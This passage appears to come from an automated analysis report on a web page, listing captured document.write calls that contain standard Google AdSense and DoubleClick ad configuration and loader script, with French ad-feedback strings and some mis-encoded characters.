                    "mute_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png",
                    "pub_feedback_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png",
                    "conversion_url": "https://googleads.g.doubleclick.net/pagead/conversion/?ai=CBlUsAPCCWoX0Oc6yYsi5nUiy5N22UNDswNnJBvAuEAEg1O6SCmDD3KSFmBjIAQmpAnzZR6qgrLQ-qAMByAMCqgS0AU_QqW33ujlKmIT_Z_VJ9S-YZapGbnXPkg8olmKTiRyoBAs26eRRqNJ8bLl0A6e9i9cnUvUG9NujKP2vTNnVbCi2cKPwl-_24YydTbObvk1y2LLZFh80ySaXCPMwQ5C8Ikyy8fJ6YbhJpu4lcJ7QYmCInrRqFHU6-00IU9X0PB71yDc-MJi3nIUBF9FFPW4-25zPeT49XWW0m0xysQOOL6s_HCi-wnsyzCvGERUyf21tPFoQCuAEA5AGAaAGTIAHo--yeqgHpr4b2AcA0ggHCIBhEAEYAoAKAdATANgTAw\u0026sigh=0-nZ7SZ2dOM\u0026cid=CAASBORoCbo",
                    "close_button_token": "IvH0ppNNCVII0OzA2ckGEM-dpPkDGKvO0npCAEgAWABwAQ",
                    "interaction_conversion": {
                        "label": "user_feedback_menu_interaction",
                        "label_instance": "",
                        "include_close_button_token": false
                    },
                    "survey_header": "Qu'est-ce qui ne vous convenait pas dans l'annonce�?",
                    "back_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/back_blue.png",
                    "mute_confirmation_header": "Merci de vos commentaires.",
                    "mute_confirmation_text": "Nous examinerons cette annonce afin d'am�liorer l'exp�rience utilisateur � l'avenir.",
                    "pub_feedback_confirmation_header": "Merci de vos commentaires.",
                    "pub_feedback_confirmation_text": "Nous utilisons vos commentaires pour �valuer les annonces sur ce site.",
                    "closing_countdown_text": "Fermeture de l'annonce en cours�: %1$d",
                    "attribution_text": "AdChoices",
                    "attribution_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/ad_choices_blue.png",
                    "attribution_destination_url": "https://www.google.com/url?ct=abg\u0026q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://michaelnativel.wifeo.com/%26gl%3DNO%26hl%3Dfr%26ai0%3D\u0026usg=AFQjCNGDCnVMf7o3IpMolU7dN4T_Fm2zmw",
                    "ad_feedback_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png",
                    "is_rtl_language": false,
                    "feedback_options": [{
                        "text": "Signaler cette annonce",
                        "conversion": {
                            "label": "user_feedback_menu_option",
                            "label_instance": "1",
                            "include_close_button_token": true
                        },
                        "survey": {
                            "header": "Qu'est-ce qui ne vous convenait pas dans l'annonce�?",
                            "options": [{
                                "text": "Contenu masqu�",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "3",
                                    "include_close_button_token": true
                                }
                            }, {
                                "text": "Annonce inappropri�e",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "8",
                                    "include_close_button_token": true
                                }
                            }, {
                                "text": "Annonce affich�e trop souvent",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "2",
                                    "include_close_button_token": true
                                }
                            }, {
                                "text": "Annonce inint�ressante",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "7",
                                    "include_close_button_token": true
                                }
                            }]
                        },
                        "undo_conversion": {
                            "label": "user_feedback_undo",
                            "label_instance": "1",
                            "include_close_button_token": true
                        }
                    }],
                    "mute_panel_data": {
                        "adchoices_icon_url": "https://googleads.g.doubleclick.net/pagead/images/adchoices/iconx2-000000.png",
                        "adchoices_button_text": "Choisir sa pub",
                        "closed_message_text": "Annonce ferm�e par %1$s",
                        "enable_lightbox": false,
                        "google_logo_url": "https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png",
                        "report_ad_button_text": "Signaler cette annonce",
                        "confirmation_text": "Nous allons essayer de ne plus vous montrer cette annonce.",
                        "see_my_google_ad_settings_text": "Afficher mes param�tres relatifs aux annonces Google",
                        "protocol_gstatic_host": "https://www.gstatic.com",
                        "jake_mta_context": "",
                        "overlay_message_text": "Annonces %1$s"
                    }
                }
            },
            "flags": [{
                "name": "jake_ui_extension",
                "value": "jake_default_ui"
            }]
        },
        opi: false,
        ti: false,
        mob: false,
        il: false,
        eaca: false,
        eda: false
    }; < /script>

#3 JavaScript::Write (size: 4097, repeated: 1) - SHA256: 02b9490d1dca95e1dafa4c087b1cbba3cbb8188549702f77a707433cf4153c33

                                        < script >
    var abgp = {
        hw: 15,
        sw: 91,
        hh: 15,
        sh: 15,
        himg: 'https://pagead2.googlesyndication.com' + '/pagead/images/adchoices/icon.png',
        simg: 'https://pagead2.googlesyndication.com' + '/pagead/images/adchoices/fr.png',
        alt: 'AdChoices',
        t: 'Choisir sa pub',
        tw: 69,
        t2: '',
        t2w: 0,
        tbo: 0,
        att: 'adchoices',
        ff: '',
        halign: 'right',
        fe: false,
        iba: false,
        lttp: false,
        uic: true,
        uit: true,
        ci: '',
        icd: {
            "creatives": [],
            "height": 600,
            "width": 160,
            "attribution": {
                "user_feedback_data": {
                    "mute_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png",
                    "pub_feedback_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png",
                    "conversion_url": "https://googleads.g.doubleclick.net/pagead/conversion/?ai=Crn4yAPCCWrGlOIWyYePbsJgIsuTdtlDQ7MDZyQbwLhABINTukgpgw9ykhZgYyAEJqQJ82UeqoKy0PqgDAcgDAqoEtAFP0PyDAzBDLXzYrEa1aDA_gZL3lQxd4zkXiffYRBgMhjKyqRYhplocDF0iMQ4AAM9CEAWF0gSH828sey2mjfKYX5NXDrV0Shdbsi72WV0kfAIYL6jahyt77rAVb7jemk44hZJTsWg4QV-oDwe9JaYxQf7YykBHteQEIrFS9_ZQ2rvPgOraF8bCvHUymiiewWqUTCZK5G2m-sSn2w99ex4whdr1WRDdXpZhA8SaObzfmDEFqJfgBAOQBgGgBkyAB6PvsnqoB6a-G9gHANIIBwiAYRABGAKACgHQEwDYEwM\u0026sigh=650BQtiZQL4\u0026cid=CAASBORokGo",
                    "close_button_token": "IvH0ppNNCVII0OzA2ckGEM-dpPkDGKvO0npCAEgAWABwAQ",
                    "interaction_conversion": {
                        "label": "user_feedback_menu_interaction",
                        "label_instance": "",
                        "include_close_button_token": false
                    },
                    "survey_header": "Qu'est-ce qui ne vous convenait pas dans l'annonce�?",
                    "back_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/back_blue.png",
                    "mute_confirmation_header": "Merci de vos commentaires.",
                    "mute_confirmation_text": "Nous examinerons cette annonce afin d'am�liorer l'exp�rience utilisateur � l'avenir.",
                    "pub_feedback_confirmation_header": "Merci de vos commentaires.",
                    "pub_feedback_confirmation_text": "Nous utilisons vos commentaires pour �valuer les annonces sur ce site.",
                    "closing_countdown_text": "Fermeture de l'annonce en cours�: %1$d",
                    "attribution_text": "AdChoices",
                    "attribution_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/ad_choices_blue.png",
                    "attribution_destination_url": "https://www.google.com/url?ct=abg\u0026q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://michaelnativel.wifeo.com/%26gl%3DNO%26hl%3Dfr%26ai0%3D\u0026usg=AFQjCNGDCnVMf7o3IpMolU7dN4T_Fm2zmw",
                    "ad_feedback_icon_url": "https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png",
                    "is_rtl_language": false,
                    "feedback_options": [{
                        "text": "Signaler cette annonce",
                        "conversion": {
                            "label": "user_feedback_menu_option",
                            "label_instance": "1",
                            "include_close_button_token": true
                        },
                        "survey": {
                            "header": "Qu'est-ce qui ne vous convenait pas dans l'annonce�?",
                            "options": [{
                                "text": "Annonce affich�e trop souvent",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "2",
                                    "include_close_button_token": true
                                }
                            }, {
                                "text": "Annonce inint�ressante",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "7",
                                    "include_close_button_token": true
                                }
                            }, {
                                "text": "Contenu masqu�",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "3",
                                    "include_close_button_token": true
                                }
                            }, {
                                "text": "Annonce inappropri�e",
                                "conversion": {
                                    "label": "mute_survey_option",
                                    "label_instance": "8",
                                    "include_close_button_token": true
                                }
                            }]
                        },
                        "undo_conversion": {
                            "label": "user_feedback_undo",
                            "label_instance": "1",
                            "include_close_button_token": true
                        }
                    }],
                    "mute_panel_data": {
                        "adchoices_icon_url": "https://googleads.g.doubleclick.net/pagead/images/adchoices/iconx2-000000.png",
                        "adchoices_button_text": "Choisir sa pub",
                        "closed_message_text": "Annonce ferm�e par %1$s",
                        "enable_lightbox": false,
                        "google_logo_url": "https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png",
                        "report_ad_button_text": "Signaler cette annonce",
                        "confirmation_text": "Nous allons essayer de ne plus vous montrer cette annonce.",
                        "see_my_google_ad_settings_text": "Afficher mes param�tres relatifs aux annonces Google",
                        "protocol_gstatic_host": "https://www.gstatic.com",
                        "jake_mta_context": "",
                        "overlay_message_text": "Annonces %1$s"
                    }
                }
            },
            "flags": [{
                "name": "jake_ui_extension",
                "value": "jake_default_ui"
            }]
        },
        opi: false,
        ti: false,
        mob: false,
        il: false,
        eaca: false,
        eda: false
    }; < /script>

#4 JavaScript::Write (size: 2581, repeated: 1) - SHA256: 51d7ce647fcfb4717b659b06ab51d02146c83c56073944d268c1dfc53f6c923d

                                        < !doctype html > < html > < body > < iframe style = "display:none"
data - ad - client = "ca-pub-5439285203515723"
id = "google_esf"
name = "google_esf"
src = "https://googleads.g.doubleclick.net/pagead/html/r20180207/r20170110/zrt_lookup.html#" > < /iframe><script>google_ad_format="585x60";google_ad_slot="5224417502";google_ad_client="ca-pub-5439285203515723";google_adsbygoogle_status="done";gfwroml="";gfwromr="";gfwroh="";gfwrow="";gfwroz="";google_full_width_responsive_allowed=false;google_fwr_non_expansion_reason=4;google_responsive_formats=3;google_ad_width=585;google_ad_height=60;google_ad_resizable=true;google_override_format=1;google_responsive_auto_format=1;google_loader_features_used=128;google_ad_modifications={"plle":true,"eids":["38893302","21061122","191880502"],"loeids":["38893312"]};google_loader_used="aa";google_reactive_tag_first=false;google_ad_unit_key="2845482056";google_ad_dom_fingerprint="807048394";google_sailm=false;google_unique_id=1;google_async_iframe_id="aswift_0";google_start_time=1518530560033;google_pub_vars="JTdCJTIyZ29vZ2xlX2FkX2Zvcm1hdCUyMiUzQSUyMjU4NXg2MCUyMiUyQyUyMmdvb2dsZV9hZF9zbG90JTIyJTNBJTIyNTIyNDQxNzUwMiUyMiUyQyUyMmdvb2dsZV9hZF9jbGllbnQlMjIlM0ElMjJjYS1wdWItNTQzOTI4NTIwMzUxNTcyMyUyMiUyQyUyMmdvb2dsZV9hZHNieWdvb2dsZV9zdGF0dXMlMjIlM0ElMjJkb25lJTIyJTJDJTIyZ2Z3cm9tbCUyMiUzQSUyMiUyMiUyQyUyMmdmd3JvbXIlMjIlM0ElMjIlMjIlMkMlMjJnZndyb2glMjIlM0ElMjIlMjIlMkMlMjJnZndyb3clMjIlM0ElMjIlMjIlMkMlMjJnZndyb3olMjIlM0ElMjIlMjIlMkMlMjJnb29nbGVfZnVsbF93aWR0aF9yZXNwb25zaXZlX2FsbG93ZWQlMjIlM0FmYWxzZSUyQyUyMmdvb2dsZV9md3Jfbm9uX2V4cGFuc2lvbl9yZWFzb24lMjIlM0E0JTJDJTIyZ29vZ2xlX3Jlc3BvbnNpdmVfZm9ybWF0cyUyMiUzQTMlMkMlMjJnb29nbGVfYWRfd2lkdGglMjIlM0E1ODUlMkMlMjJnb29nbGVfYWRfaGVpZ2h0JTIyJTNBNjAlMkMlMjJnb29nbGVfYWRfcmVzaXphYmxlJTIyJTNBdHJ1ZSUyQyUyMmdvb2dsZV9vdmVycmlkZV9mb3JtYXQlMjIlM0ExJTJDJTIyZ29vZ2xlX3Jlc3BvbnNpdmVfYXV0b19mb3JtYXQlMjIlM0ExJTJDJTIyZ29vZ2xlX2xvYWRlcl9mZWF0dXJlc191c2VkJTIyJTNBMTI4JTJDJTIyZ29vZ2xlX2FkX21vZGlmaWNhdGlvbnMlMjIlM0ElN0IlMjJwbGxlJTIyJTNBdHJ1ZSUyQyUyMmVpZHMlMjIlM0ElNUIlMjIzODg5MzMwMiUyMiUyQyUyMjIxMDYxMTIyJTIyJTJDJTIyMTkxODgwNTAyJTIyJTVEJTJDJTIybG9laWRzJTIyJTNBJTVCJTIyMzg4OTMzMTIlMjIlNUQlN0QlMkMlMjJnb29nbGVfbG9hZGVyX3VzZWQlMjIlM0ElMjJhYSUyMiUyQyUyMmdvb2dsZV9yZWFjdGl2ZV90YWdfZmlyc3QlMjIlM0FmYWxzZSUyQyUyMmdvb2dsZV9hZF91bml0X2tleSUyMiUzQSUyMjI4NDU0ODIwNTYlMjIlMkMlMjJnb29nbGVfYWRfZG9tX2ZpbmdlcnByaW50JTIyJTNBJTIyODA3MDQ4Mzk0JTIyJTdE";google_bpp=43;google_async_rrc=0;google_iframe_start_time=new Date().getTime();</script > < script src = "http://pagead2.googlesyndication.com/pagead/js/r20180207/r20170110/show_ads_impl.js" > < /script></body > < /html>

#5 JavaScript::Write (size: 2382, repeated: 1) - SHA256: 0fd2f427aaf852a61c82e8355086faff9a02d7d9138ae76d34c63998248eaad6

                                        < !doctype html > < html > < body > < script > google_ad_format = "178x600";
google_ad_slot = "5224417502";
google_ad_client = "ca-pub-5439285203515723";
google_adsbygoogle_status = "done";
gfwroml = "";
gfwromr = "";
gfwroh = "";
gfwrow = "";
gfwroz = "";
google_full_width_responsive_allowed = false;
google_fwr_non_expansion_reason = 4;
google_responsive_formats = 4;
google_ad_width = 178;
google_ad_height = 600;
google_ad_resizable = true;
google_override_format = 1;
google_responsive_auto_format = 1;
google_loader_features_used = 128;
google_ad_modifications = {
    "plle": true,
    "eids": ["38893302", "21061122", "191880502"],
    "loeids": ["38893312"]
};
google_loader_used = "aa";
google_reactive_tag_first = false;
google_ad_unit_key = "3182230553";
google_ad_dom_fingerprint = "807048394";
google_sailm = false;
google_unique_id = 3;
google_async_iframe_id = "aswift_2";
google_start_time = 1518530560105;
google_pub_vars = "JTdCJTIyZ29vZ2xlX2FkX2Zvcm1hdCUyMiUzQSUyMjE3OHg2MDAlMjIlMkMlMjJnb29nbGVfYWRfc2xvdCUyMiUzQSUyMjUyMjQ0MTc1MDIlMjIlMkMlMjJnb29nbGVfYWRfY2xpZW50JTIyJTNBJTIyY2EtcHViLTU0MzkyODUyMDM1MTU3MjMlMjIlMkMlMjJnb29nbGVfYWRzYnlnb29nbGVfc3RhdHVzJTIyJTNBJTIyZG9uZSUyMiUyQyUyMmdmd3JvbWwlMjIlM0ElMjIlMjIlMkMlMjJnZndyb21yJTIyJTNBJTIyJTIyJTJDJTIyZ2Z3cm9oJTIyJTNBJTIyJTIyJTJDJTIyZ2Z3cm93JTIyJTNBJTIyJTIyJTJDJTIyZ2Z3cm96JTIyJTNBJTIyJTIyJTJDJTIyZ29vZ2xlX2Z1bGxfd2lkdGhfcmVzcG9uc2l2ZV9hbGxvd2VkJTIyJTNBZmFsc2UlMkMlMjJnb29nbGVfZndyX25vbl9leHBhbnNpb25fcmVhc29uJTIyJTNBNCUyQyUyMmdvb2dsZV9yZXNwb25zaXZlX2Zvcm1hdHMlMjIlM0E0JTJDJTIyZ29vZ2xlX2FkX3dpZHRoJTIyJTNBMTc4JTJDJTIyZ29vZ2xlX2FkX2hlaWdodCUyMiUzQTYwMCUyQyUyMmdvb2dsZV9hZF9yZXNpemFibGUlMjIlM0F0cnVlJTJDJTIyZ29vZ2xlX292ZXJyaWRlX2Zvcm1hdCUyMiUzQTElMkMlMjJnb29nbGVfcmVzcG9uc2l2ZV9hdXRvX2Zvcm1hdCUyMiUzQTElMkMlMjJnb29nbGVfbG9hZGVyX2ZlYXR1cmVzX3VzZWQlMjIlM0ExMjglMkMlMjJnb29nbGVfYWRfbW9kaWZpY2F0aW9ucyUyMiUzQSU3QiUyMnBsbGUlMjIlM0F0cnVlJTJDJTIyZWlkcyUyMiUzQSU1QiUyMjM4ODkzMzAyJTIyJTJDJTIyMjEwNjExMjIlMjIlMkMlMjIxOTE4ODA1MDIlMjIlNUQlMkMlMjJsb2VpZHMlMjIlM0ElNUIlMjIzODg5MzMxMiUyMiU1RCU3RCUyQyUyMmdvb2dsZV9sb2FkZXJfdXNlZCUyMiUzQSUyMmFhJTIyJTJDJTIyZ29vZ2xlX3JlYWN0aXZlX3RhZ19maXJzdCUyMiUzQWZhbHNlJTJDJTIyZ29vZ2xlX2FkX3VuaXRfa2V5JTIyJTNBJTIyMzE4MjIzMDU1MyUyMiUyQyUyMmdvb2dsZV9hZF9kb21fZmluZ2VycHJpbnQlMjIlM0ElMjI4MDcwNDgzOTQlMjIlN0Q=";
google_bpp = 4;
google_async_rrc = 0;
google_iframe_start_time = new Date().getTime(); < /script><script src="http:/ / pagead2.googlesyndication.com / pagead / js / r20180207 / r20170110 / show_ads_impl.js "></script></body></html>

#6 JavaScript::Write (size: 2382, repeated: 1) - SHA256: 2b701fe330e8dc1a92dd7bfbb613d3d4da6b439dd296fa969aeb45b310457b76

                                        < !doctype html > < html > < body > < script > google_ad_format = "178x600";
google_ad_slot = "5224417502";
google_ad_client = "ca-pub-5439285203515723";
google_adsbygoogle_status = "done";
gfwroml = "";
gfwromr = "";
gfwroh = "";
gfwrow = "";
gfwroz = "";
google_full_width_responsive_allowed = false;
google_fwr_non_expansion_reason = 4;
google_responsive_formats = 4;
google_ad_width = 178;
google_ad_height = 600;
google_ad_resizable = true;
google_override_format = 1;
google_responsive_auto_format = 1;
google_loader_features_used = 128;
google_ad_modifications = {
    "plle": true,
    "eids": ["38893302", "21061122", "191880502"],
    "loeids": ["38893312"]
};
google_loader_used = "aa";
google_reactive_tag_first = false;
google_ad_unit_key = "3182230553";
google_ad_dom_fingerprint = "807048394";
google_sailm = false;
google_unique_id = 4;
google_async_iframe_id = "aswift_3";
google_start_time = 1518530560109;
google_pub_vars = "JTdCJTIyZ29vZ2xlX2FkX2Zvcm1hdCUyMiUzQSUyMjE3OHg2MDAlMjIlMkMlMjJnb29nbGVfYWRfc2xvdCUyMiUzQSUyMjUyMjQ0MTc1MDIlMjIlMkMlMjJnb29nbGVfYWRfY2xpZW50JTIyJTNBJTIyY2EtcHViLTU0MzkyODUyMDM1MTU3MjMlMjIlMkMlMjJnb29nbGVfYWRzYnlnb29nbGVfc3RhdHVzJTIyJTNBJTIyZG9uZSUyMiUyQyUyMmdmd3JvbWwlMjIlM0ElMjIlMjIlMkMlMjJnZndyb21yJTIyJTNBJTIyJTIyJTJDJTIyZ2Z3cm9oJTIyJTNBJTIyJTIyJTJDJTIyZ2Z3cm93JTIyJTNBJTIyJTIyJTJDJTIyZ2Z3cm96JTIyJTNBJTIyJTIyJTJDJTIyZ29vZ2xlX2Z1bGxfd2lkdGhfcmVzcG9uc2l2ZV9hbGxvd2VkJTIyJTNBZmFsc2UlMkMlMjJnb29nbGVfZndyX25vbl9leHBhbnNpb25fcmVhc29uJTIyJTNBNCUyQyUyMmdvb2dsZV9yZXNwb25zaXZlX2Zvcm1hdHMlMjIlM0E0JTJDJTIyZ29vZ2xlX2FkX3dpZHRoJTIyJTNBMTc4JTJDJTIyZ29vZ2xlX2FkX2hlaWdodCUyMiUzQTYwMCUyQyUyMmdvb2dsZV9hZF9yZXNpemFibGUlMjIlM0F0cnVlJTJDJTIyZ29vZ2xlX292ZXJyaWRlX2Zvcm1hdCUyMiUzQTElMkMlMjJnb29nbGVfcmVzcG9uc2l2ZV9hdXRvX2Zvcm1hdCUyMiUzQTElMkMlMjJnb29nbGVfbG9hZGVyX2ZlYXR1cmVzX3VzZWQlMjIlM0ExMjglMkMlMjJnb29nbGVfYWRfbW9kaWZpY2F0aW9ucyUyMiUzQSU3QiUyMnBsbGUlMjIlM0F0cnVlJTJDJTIyZWlkcyUyMiUzQSU1QiUyMjM4ODkzMzAyJTIyJTJDJTIyMjEwNjExMjIlMjIlMkMlMjIxOTE4ODA1MDIlMjIlNUQlMkMlMjJsb2VpZHMlMjIlM0ElNUIlMjIzODg5MzMxMiUyMiU1RCU3RCUyQyUyMmdvb2dsZV9sb2FkZXJfdXNlZCUyMiUzQSUyMmFhJTIyJTJDJTIyZ29vZ2xlX3JlYWN0aXZlX3RhZ19maXJzdCUyMiUzQWZhbHNlJTJDJTIyZ29vZ2xlX2FkX3VuaXRfa2V5JTIyJTNBJTIyMzE4MjIzMDU1MyUyMiUyQyUyMmdvb2dsZV9hZF9kb21fZmluZ2VycHJpbnQlMjIlM0ElMjI4MDcwNDgzOTQlMjIlN0Q=";
google_bpp = 5;
google_async_rrc = 0;
google_iframe_start_time = new Date().getTime(); < /script><script src="http:/ / pagead2.googlesyndication.com / pagead / js / r20180207 / r20170110 / show_ads_impl.js "></script></body></html>

#7 JavaScript::Write (size: 2377, repeated: 1) - SHA256: 5991d142cdf3377b1d778fc50c145e50afcdaa4c005a7b8edf67dafeae67c9fe

                                        < !doctype html > < html > < body > < script > google_ad_format = "585x60";
google_ad_slot = "5224417502";
google_ad_client = "ca-pub-5439285203515723";
google_adsbygoogle_status = "done";
gfwroml = "";
gfwromr = "";
gfwroh = "";
gfwrow = "";
gfwroz = "";
google_full_width_responsive_allowed = false;
google_fwr_non_expansion_reason = 4;
google_responsive_formats = 3;
google_ad_width = 585;
google_ad_height = 60;
google_ad_resizable = true;
google_override_format = 1;
google_responsive_auto_format = 1;
google_loader_features_used = 128;
google_ad_modifications = {
    "plle": true,
    "eids": ["38893302", "21061122", "191880502"],
    "loeids": ["38893312"]
};
google_loader_used = "aa";
google_reactive_tag_first = false;
google_ad_unit_key = "2845482056";
google_ad_dom_fingerprint = "807048394";
google_sailm = false;
google_unique_id = 2;
google_async_iframe_id = "aswift_1";
google_start_time = 1518530560084;
google_pub_vars = "JTdCJTIyZ29vZ2xlX2FkX2Zvcm1hdCUyMiUzQSUyMjU4NXg2MCUyMiUyQyUyMmdvb2dsZV9hZF9zbG90JTIyJTNBJTIyNTIyNDQxNzUwMiUyMiUyQyUyMmdvb2dsZV9hZF9jbGllbnQlMjIlM0ElMjJjYS1wdWItNTQzOTI4NTIwMzUxNTcyMyUyMiUyQyUyMmdvb2dsZV9hZHNieWdvb2dsZV9zdGF0dXMlMjIlM0ElMjJkb25lJTIyJTJDJTIyZ2Z3cm9tbCUyMiUzQSUyMiUyMiUyQyUyMmdmd3JvbXIlMjIlM0ElMjIlMjIlMkMlMjJnZndyb2glMjIlM0ElMjIlMjIlMkMlMjJnZndyb3clMjIlM0ElMjIlMjIlMkMlMjJnZndyb3olMjIlM0ElMjIlMjIlMkMlMjJnb29nbGVfZnVsbF93aWR0aF9yZXNwb25zaXZlX2FsbG93ZWQlMjIlM0FmYWxzZSUyQyUyMmdvb2dsZV9md3Jfbm9uX2V4cGFuc2lvbl9yZWFzb24lMjIlM0E0JTJDJTIyZ29vZ2xlX3Jlc3BvbnNpdmVfZm9ybWF0cyUyMiUzQTMlMkMlMjJnb29nbGVfYWRfd2lkdGglMjIlM0E1ODUlMkMlMjJnb29nbGVfYWRfaGVpZ2h0JTIyJTNBNjAlMkMlMjJnb29nbGVfYWRfcmVzaXphYmxlJTIyJTNBdHJ1ZSUyQyUyMmdvb2dsZV9vdmVycmlkZV9mb3JtYXQlMjIlM0ExJTJDJTIyZ29vZ2xlX3Jlc3BvbnNpdmVfYXV0b19mb3JtYXQlMjIlM0ExJTJDJTIyZ29vZ2xlX2xvYWRlcl9mZWF0dXJlc191c2VkJTIyJTNBMTI4JTJDJTIyZ29vZ2xlX2FkX21vZGlmaWNhdGlvbnMlMjIlM0ElN0IlMjJwbGxlJTIyJTNBdHJ1ZSUyQyUyMmVpZHMlMjIlM0ElNUIlMjIzODg5MzMwMiUyMiUyQyUyMjIxMDYxMTIyJTIyJTJDJTIyMTkxODgwNTAyJTIyJTVEJTJDJTIybG9laWRzJTIyJTNBJTVCJTIyMzg4OTMzMTIlMjIlNUQlN0QlMkMlMjJnb29nbGVfbG9hZGVyX3VzZWQlMjIlM0ElMjJhYSUyMiUyQyUyMmdvb2dsZV9yZWFjdGl2ZV90YWdfZmlyc3QlMjIlM0FmYWxzZSUyQyUyMmdvb2dsZV9hZF91bml0X2tleSUyMiUzQSUyMjI4NDU0ODIwNTYlMjIlMkMlMjJnb29nbGVfYWRfZG9tX2ZpbmdlcnByaW50JTIyJTNBJTIyODA3MDQ4Mzk0JTIyJTdE";
google_bpp = 20;
google_async_rrc = 0;
google_iframe_start_time = new Date().getTime(); < /script><script src="http:/ / pagead2.googlesyndication.com / pagead / js / r20180207 / r20170110 / show_ads_impl.js "></script></body></html>

#8 JavaScript::Write (size: 8686, repeated: 1) - SHA256: ceb78aa86113b31eafe72b0451a688211d199d2526fd84ab515d618c7f6cd5a5

                                        < !doctype html > < html > < head > < script >
    var google_casm = [null, null, null, null, null, null, 1]; < /script></head > < body leftMargin = "0"
topMargin = "0"
marginwidth = "0"
marginheight = "0" > < DIV STYLE = "position: absolute; left: 0px; top: 0px; visibility: hidden;" > < IMG SRC = "https://pagead2.googlesyndication.com/pagead/gen_204?id=xbid&dbm_b=AKAmf-Awqk0r7u7292FFhunl1eGEPdh65X2EEJwkBaPpGPrtVeRRi1K0OymG9nAOjxQDeSdjZAchDJ5n_1PcnagK580L84p0Wi8qDIGwne2AdPq1mIk-Ai4"
BORDER = 0 WIDTH = 1 HEIGHT = 1 ALT = ""
STYLE = "display:none" > < /DIV><iframe src="https:/ / googleads.g.doubleclick.net / xbbe / pixel ? d = COD5IRD7n5MBGO3Xwi0wAQ & v = APEucNXdPIp - 0 rBWF8KlZZR - OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv " style="
display: none "></iframe><div><div style="
position: relative;
display: inline - block;
"><script>(function(){var h=this,k=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};var l=Array.prototype.forEach?function(a,b){Array.prototype.forEach.call(a,b,void 0)}:function(a,b){for(var c=a.length,d="
string "==typeof a?a.split("
"):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)},m=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e="
string "==typeof a?a.split("
"):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d},p=Array.prototype.reduce?function(a,b,c){return Array.prototype.reduce.call(a,b,c)}:function(a,b,c){var d=c;l(a,function(c,f){d=b.call(void 0,d,c,f,a)});return d},q=function(a){for(var b=[],c=0;c<a;c++)b[c]="
";return b};var r=function(a){r["
"](a);return a};r["
"]=function(){};var t=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)},u=/https?:\/\/[^\/]+/,v=function(a){return(a=u.exec(a))&&a[0]||"
"};var w=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,x=function(a,b,c){this.i=a;this.j=b;this.g=c},y=function(a,b){this.url=a;this.h=!!b;this.depth=null},A=function(a){a=a||z();for(var b=new y(h.location.href,!1),c=null,d=a.length-1,e=d;0<=e;--e){var f=a[e];!c&&w.test(f.url)&&(c=f);if(f.url&&!f.h){b=f;break}}e=null;f=a.length&&a[d].url;0!=b.depth&&f&&(e=a[d]);return new x(b,e,c)},z=function(){var a=h,b=[],c=null;do{var d=a;try{var e;if(e=!!d&&null!=d.location.href)b:{try{r(d.foo);e=!0;break b}catch(n){}e=!1}var f=e}catch(n){f=!1}if(f){var g=d.location.href;c=d.document&&d.document.referrer||null}else g=c,c=null;b.push(new y(g||"
"));try{a=d.parent}catch(n){a=null}}while(a&&d!=a);a=0;for(d=b.length-1;a<=d;++a)b[a].depth=d-a;d=h;if(d.location&&d.location.ancestorOrigins&&d.location.ancestorOrigins.length==b.length-1)for(a=1;a<b.length;++a)g=b[a],g.url||(g.url=d.location.ancestorOrigins[a-1]||"
",g.h=!0);return b};var C=function(a,b,c,d,e){var f=[];t(a,function(a,n){(a=B(a,b,c,d,e))&&f.push(n+" = "+a)});return f.join(b)},B=function(a,b,c,d,e){if(null==a)return"
";b=b||" & ";c=c||", $ ";"
string "==typeof c&&(c=c.split("
"));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(B(a[g],b,c,d+1,e));return f.join(c[d])}}else if("
object "==typeof a)return e=e||0,2>e?encodeURIComponent(C(a,b,c,d,e+1)):"...
